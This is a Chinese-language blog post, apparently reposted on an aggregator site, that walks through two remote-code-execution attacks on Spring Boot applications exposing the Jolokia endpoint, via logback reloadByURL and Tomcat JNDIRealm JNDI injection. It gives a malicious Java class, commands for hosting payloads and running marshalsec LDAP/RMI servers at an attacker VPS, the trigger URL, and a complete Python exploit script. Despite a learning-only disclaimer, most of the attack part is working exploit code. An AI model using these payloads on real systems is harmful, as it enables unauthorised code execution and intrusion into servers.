Spring Boot jolokia 配置不当导致RCE漏洞
创始人
2025-05-29 04:20:42
0

目录

  • 漏洞一、jolokia logback JNDI RCE
    • 搭建环境
    • 利用条件
    • 利用方法
  • 漏洞二:jolokia Realm JNDI RCE
    • 利用条件
    • 利用方法

声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

漏洞一、jolokia logback JNDI RCE

搭建环境

漏洞环境为:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce

IDEA加载源码,并配置一个Spring boot,就可以运行环境了
在这里插入图片描述
环境运行起来后,访问一下/jolokia接口

在这里插入图片描述

利用条件

目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
目标可以请求攻击者的 HTTP 服务器(请求可出外网)
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过

利用方法

1、查看已存在的 MBeans

访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词

在这里插入图片描述
2、准备要执行的 Java 代码

编写用来验证漏洞存在的java代码(Evil.java)

public class Evil{public Evil() throws Exception{Runtime.getRuntime().exec("calc.exe");}
}

使用兼容低版本 jdk 的方式编译:

javac -source 1.5 -target 1.5 Evil.java

然后将生成的 Evil.class 文件拷贝到攻击者VPS上。

3、托管 xml 文件

编写poc.xml文件,放在VPS上和Evil.class文件同一目录下



在poc.xml目录下,使用python开启一个简单的http服务

python3 -m http.server 8080

4、架设恶意 ldap 服务

下载 marshalsec(https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 ldap 服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:8080/#Evil 1389

5、替换实际的 your-vps-ip 地址访问 URL 触发漏洞

/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/poc.xml

结果如下,弹出计算器,说明漏洞利用成功

在这里插入图片描述

在这里插入图片描述

漏洞二:jolokia Realm JNDI RCE

漏洞环境,仍然采用和漏洞一同样的环境。

利用条件

目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
目标可以请求攻击者的服务器(请求可出外网)
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过

利用方法

1、查看已存在的 MBeans

访问 /jolokia/list 接口,查看是否存在 type=MBeanFactory 和 createJNDIRealm 关键词。

2、准备要执行的 Java 代码

这一步,和漏洞一方法一样,这里不再赘述。

3、托管 class 文件

在VPS上Evil.class文件目录下,起一个简单http服务

python3 -m http.server 8080

4、架设恶意 rmi 服务

下载 marshalsec (https://github.com/mbechler/marshalsec),使用下面命令架设对应的 rmi 服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:8080/#Evil 1389

5、发送恶意 payload

根据实际情况修改 springboot-realm-jndi-rce.py 脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。

#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txtimport requestsurl = 'http://192.168.8.14:9094/jolokia'create_realm = {"mbean": "Tomcat:type=MBeanFactory","type": "EXEC","operation": "createJNDIRealm","arguments": ["Tomcat:type=Engine"]
}wirte_factory = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "contextFactory","value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}write_url = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "connectionURL","value": "rmi://192.168.10.171:1389/Evil"
}stop = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "stop","arguments": []
}start = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "start","arguments": []
}flow = [create_realm, wirte_factory, write_url, stop, start]for i in flow:print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))r = requests.post(url, json=i)r.json()print(r.status_code)

VPS上执行 python3 springboot-realm-jndi-rce.py

在这里插入图片描述

目标机器上弹出计算器,漏洞利用成功

在这里插入图片描述

相关内容

热门资讯

原创 男... “家徒四壁”这词儿,你以为是夸张?杭州这位小哥可是结结实实体验了一把!花了4小时精细保洁的钱,本想下...
湖南耒阳发生故意伤害案,2人死... 来源:耒阳公安 湖南衡阳“耒阳公安”8月3日晚发布警情通报: 2025年8月3日18时许,我市蔡子池...
上海浦东警方侦破“猫池”接码案... “猫池”(GOIP)是一种可将传统电话信号转换为网络信号的通讯设备,支持多码通话、群发短信远程控制功...
政策东风频吹,保险加速为文旅消... 一张张覆盖旅途全程的安全防护网,正在各地加速铺开。近日,河北金融监管局发文表示,该局指导6家保险公司...
原创 印... 印度总理莫迪最近的南海举动无疑是一次颇具戏剧性的“出招”。当我们目光聚焦于印度海军近期与菲律宾举行联...
原创 月... 云南一位刚经历分娩的女性,本应在月子期得到悉心照料,却陷入了一场令人心寒的困境。据商丘网络电视台8月...
二度扳平!国安2-2津门虎,法... 直播吧08月03日讯 北京时间19:35,中超第19轮,北京国安对阵天津津门虎。 比赛第70分钟,法...
中超-拉布亚德建功马莱莱点射张... 北京时间8月3日,2025赛季中超联赛继续展开第19轮争夺。在大连梭鱼湾足球场,大连英博队2-0击败...
黑龙江遭遇大范围强降水 哈尔滨... 央广网哈尔滨8月3日消息(记者李雪 实习记者国琪)8月2日8时至3日8时,黑龙江省出现了一次大范围强...
盈科赤峰郑云龙律师与盈科哈尔滨... 盈科赤峰郑云龙律师与盈科哈尔滨高海燕律师为涉嫌销售有毒有害食品罪的郭某和李某辩护。庭后高主任到盈科赤...